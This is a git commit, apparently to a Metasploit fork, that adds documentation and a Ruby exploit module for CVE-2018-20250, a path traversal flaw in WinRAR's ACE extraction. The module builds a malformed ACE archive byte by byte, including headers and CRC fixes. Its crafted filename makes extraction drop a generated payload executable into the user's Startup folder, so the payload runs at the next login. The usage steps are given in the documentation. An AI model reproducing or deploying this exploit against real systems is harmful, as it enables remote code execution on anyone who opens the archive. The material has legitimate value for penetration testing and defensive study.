Module for CVE-2018-20250 and documentation
parent
f41a90a582
commit
6c798221fb
|
@ -0,0 +1,36 @@
|
|||
## Introduction
|
||||
|
||||
From the CVE-2018-20250 NVD Page:
|
||||
In WinRAR versions prior to and including 5.61, there is a path traversal vulnerability when crafting the filename field
|
||||
of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination
|
||||
(extraction) folder is ignored, thus treating the filename as an absolute path.
|
||||
|
||||
This module will attempt to extract a payload to the startup folder of the current user. It is limited such that we can
|
||||
only go back one folder. Therefore, for this exploit to work properly, the user must extract the supplied RAR file from
|
||||
one folder within the user profile folder (e.g. Desktop or Downloads).
|
||||
|
||||
## Vulnerable Applications
|
||||
|
||||
- RARLAB WinRAR <= 5.61
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/fileformat/winrar_ace`
|
||||
3. Do: `set FILENAME [FILENAME]`. Name is "msf.ace" by default
|
||||
4. Do: `exploit`
|
||||
5. **Verify** that a file is created (by default in "~/.msf4/local/")
|
||||
|
||||
|
||||
## Options
|
||||
### FILENAME
|
||||
Filename to output
|
||||
|
||||
## Example
|
||||
|
||||
```
|
||||
msf5 exploit(windows/fileformat/winrar_ace) > exploit
|
||||
|
||||
[+] msf.ace stored at /home/msfdev/.msf4/local/msf.ace
|
||||
msf5 exploit(windows/fileformat/winrar_ace) >
|
||||
```
|
|
@ -0,0 +1,184 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
#
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution',
|
||||
'Description' => %q{
|
||||
In WinRAR versions prior to and including 5.61, there is path traversal vulnerability
|
||||
when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename
|
||||
field is manipulated with specific patterns, the destination (extraction) folder is
|
||||
ignored, thus treating the filename as an absolute path. This module will attempt to
|
||||
extract a payload to the startup folder of the current user. It is limited such that
|
||||
we can only go back one folder. Therefore, for this exploit to work properly, the user
|
||||
must extract the supplied RAR file from one folder within the user profile folder
|
||||
(e.g. Desktop or Downloads).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nadav Grossman', # exploit discovery
|
||||
'Imran E. Dawoodjee' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-20250'],
|
||||
['EDB', '46552'],
|
||||
['BID', '106948'],
|
||||
['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'],
|
||||
['URL', 'https://apidoc.roe.ch/acefile/latest/'],
|
||||
['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'],
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'RARLAB WinRAR <= 5.61', {} ]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 05 2019',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace'])
|
||||
# allow operator to specify file to be extracted. WIP
|
||||
# OptString.new('FILEPATH', [ true, 'The file to be extracted to Startup', ''])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
ace_header = ""
|
||||
# All hex values are already in little endian.
|
||||
# HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE.
|
||||
# The bogus value for HEAD_CRC will be replaced later.
|
||||
ace_header << "AA"
|
||||
# HEAD_SIZE: header size. \x31\x00 says 49.
|
||||
ace_header << "\x31\x00"
|
||||
# HEAD_TYPE: header type. Archive header is 0.
|
||||
ace_header << "\x00"
|
||||
# HEAD_FLAGS: header flags
|
||||
ace_header << "\x00\x90"
|
||||
# ACE magic
|
||||
ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A"
|
||||
# VER_EXTRACT: version needed to extract archive
|
||||
ace_header << "\x14"
|
||||
# VER_CREATED: version used to create archive
|
||||
ace_header << "\x14"
|
||||
# HOST_CREATED: host OS for ACE used to create archive
|
||||
ace_header << "\x02"
|
||||
# VOLUME_NUM: which volume of a multi-volume archive?
|
||||
ace_header << "\x00"
|
||||
# TIME_CREATED: date and time in MS-DOS format
|
||||
ace_header << "\x10\x18\x56\x4E"
|
||||
# RESERVED1
|
||||
ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00"
|
||||
# AV_SIZE: advert size
|
||||
ace_header << "\x16"
|
||||
# AV: advert which shows if registered/unregistered.
|
||||
# Full advert says "*UNREGISTERED VERSION*"
|
||||
ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A"
|
||||
|
||||
# calculate the CRC32 of ACE header, and get the lower 2 bytes
|
||||
ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16)
|
||||
ace_header_crc16 = ace_header_crc32[4, ace_header_crc32.length].to_i(base=16)
|
||||
vprint_status("ACE header CRC16: 0x#{ace_header_crc16.to_s(16)}")
|
||||
ace_header_crc16 = [ace_header_crc16].pack("v")
|
||||
ace_header[0,2] = ace_header_crc16.to_s
|
||||
|
||||
#if datastore["FILEPATH"].nil?
|
||||
# payload = generate_payload_exe
|
||||
#else
|
||||
# read user file to get payload
|
||||
#end
|
||||
|
||||
# calculate the CRC32 of the payload
|
||||
payload = generate_payload_exe
|
||||
payload_crc32 = crc32(payload).to_i
|
||||
vprint_status("Payload CRC32: 0x#{payload_crc32.to_s(16)}")
|
||||
payload_crc32 = [payload_crc32].pack("V")
|
||||
|
||||
exe_filename = ""
|
||||
# 72 characters
|
||||
exe_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
|
||||
# 6 characters
|
||||
exe_filename << rand_text_alpha(6)
|
||||
# 4 characters
|
||||
exe_filename << ".exe"
|
||||
|
||||
file_header = ""
|
||||
# HEAD_CRC: Lower 2 bytes of CRC32 of 113 bytes of header after HEAD_TYPE.
|
||||
# The bogus value for HEAD_CRC will be replaced later.
|
||||
file_header << "AA"
|
||||
# HEAD_SIZE: file header size. \x00\x71 says 113.
|
||||
file_header << "\x71\x00"
|
||||
# HEAD_TYPE: header type is 1.
|
||||
file_header << "\x01"
|
||||
# HEAD_FLAGS: header flags. \x01\x80 is ADDFILE|SOLID
|
||||
file_header << "\x01\x80"
|
||||
# PACK_SIZE: size when packed
|
||||
file_header << [payload.length].pack("V")
|
||||
# ORIG_SIZE: original size. Same as PACK_SIZE if payload is binary. I am assuming binary here.
|
||||
# Make it able to change (WIP) in case the operator wants to specify a custom payload to use
|
||||
# which could be compressed
|
||||
file_header << [payload.length].pack("V")
|
||||
# FTIME: file date and time in MS-DOS format
|
||||
file_header << "\x63\xB0\x55\x4E" ############
|
||||
# file_header << "\xDE\xAD\xBE\xEF"
|
||||
# ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API.
|
||||
file_header << "\x00\x00\x00\x20"
|
||||
# CRC32: CRC32 of the compressed file
|
||||
file_header[23,27] = payload_crc32.to_s
|
||||
# Compression type
|
||||
file_header << "\x00"
|
||||
# Compression quality
|
||||
file_header << "\x03"
|
||||
# Parameter for decompression
|
||||
file_header << "\x0A\x00"
|
||||
# RESERVED1
|
||||
file_header << "\x54\x45"
|
||||
# FNAME_SIZE: size of filename string. Will always be 82 characters for this exploit (72 + 6 + 4)
|
||||
file_header << "\x52\x00"
|
||||
# FNAME: filename string
|
||||
file_header << exe_filename
|
||||
|
||||
# files stored in ACE archives each have their own header. For
|
||||
# simplicity, these headers created for files in ACE archives will
|
||||
# be referred to as "file headers".
|
||||
# calculate the CRC32 of file header, and get the lower 2 bytes
|
||||
file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16)
|
||||
file_header_crc16 = file_header_crc32[4, file_header_crc32.length].to_i(base=16)
|
||||
vprint_status("File header CRC16: 0x#{file_header_crc16.to_s(16)}")
|
||||
file_header_crc16 = [file_header_crc16].pack("v")
|
||||
file_header[0,2] = file_header_crc16.to_s
|
||||
|
||||
ace_file = ""
|
||||
ace_file << ace_header
|
||||
ace_file << file_header
|
||||
ace_file << payload
|
||||
|
||||
file_create(ace_file)
|
||||
end
|
||||
|
||||
def crc32(data)
|
||||
table = Zlib.crc_table
|
||||
crc = 0xffffffff
|
||||
data.unpack('C*').each { |b|
|
||||
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
|
||||
}
|
||||
# The CRC implementation used in ACE does not take the last step in calculating CRC32
|
||||
# That is, it does reverse the bits. Therefore, it can be easily calculated by taking
|
||||
# the negative bitwise OR of the CRC and then subtracting one from it. This is due to
|
||||
# the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so
|
||||
# applying a bitwise OR on an integer will produce its negative + 1.
|
||||
-(~crc) - 1
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue